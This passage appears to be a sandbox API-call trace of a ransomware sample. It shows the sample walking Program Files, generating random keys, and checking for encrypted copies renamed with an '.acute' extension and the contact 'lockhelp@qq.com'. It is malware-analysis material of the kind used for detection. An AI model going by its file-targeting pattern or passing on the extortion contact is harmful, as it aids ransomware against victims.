hTemplateFile=0x0) returned 0xffffffff [0274.597] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.601] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4621) returned 1 [0274.601] CloseHandle (hObject=0x30c) returned 1 [0274.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png")) returned 0x20 [0274.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\GoldRing.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\goldring.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.601] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.601] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2978) returned 1 [0274.601] CloseHandle (hObject=0x30c) returned 1 [0274.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png")) returned 0x20 [0274.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.602] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.602] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3808) returned 1 [0274.602] CloseHandle (hObject=0x30c) returned 1 [0274.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png")) returned 0x20 [0274.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.602] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.649] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3810) returned 1 [0274.649] CloseHandle (hObject=0x30c) returned 1 [0274.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png")) returned 0x20 [0274.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.649] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.649] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=99127) returned 1 [0274.649] CloseHandle (hObject=0x30c) returned 1 [0274.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png")) returned 0x20 [0274.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\play-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\play-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.650] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.650] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3057) returned 1 [0274.650] CloseHandle (hObject=0x30c) returned 1 [0274.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png")) returned 0x20 [0274.650] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\selection_subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\selection_subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.650] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.650] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.656] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=25998) returned 1 [0274.656] CloseHandle (hObject=0x30c) returned 1 [0274.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png")) returned 0x20 [0274.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\travel.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travel.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.656] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.656] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.656] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=61220) returned 1 [0274.656] CloseHandle (hObject=0x30c) returned 1 [0274.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv")) returned 0x20 [0274.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.657] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.657] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=61220) returned 1 [0274.657] CloseHandle (hObject=0x30c) returned 1 [0274.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv")) returned 0x20 [0274.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMainMask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomainmask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.657] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.684] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=229220) returned 1 [0274.684] CloseHandle (hObject=0x30c) returned 1 [0274.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv")) returned 0x20 [0274.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\TravelIntroToMain_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\travelintrotomain_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.684] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.735] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=7216) returned 1 [0274.735] CloseHandle (hObject=0x30c) returned 1 [0274.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0274.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.747] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.758] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=6684) returned 1 [0274.758] CloseHandle (hObject=0x30c) returned 1 [0274.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0274.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.760] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.794] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=3251) returned 1 [0274.794] CloseHandle (hObject=0x30c) returned 1 [0274.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0274.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.794] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.809] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=20578) returned 1 [0274.809] CloseHandle (hObject=0x30c) returned 1 [0274.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0274.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.816] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.859] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=7072) returned 1 [0274.859] CloseHandle (hObject=0x30c) returned 1 [0274.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0274.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.861] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.869] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=4924) returned 1 [0274.869] CloseHandle (hObject=0x30c) returned 1 [0274.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0274.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.873] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0274.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.879] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=24320) returned 1 [0274.880] CloseHandle (hObject=0x30c) returned 1 [0274.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" 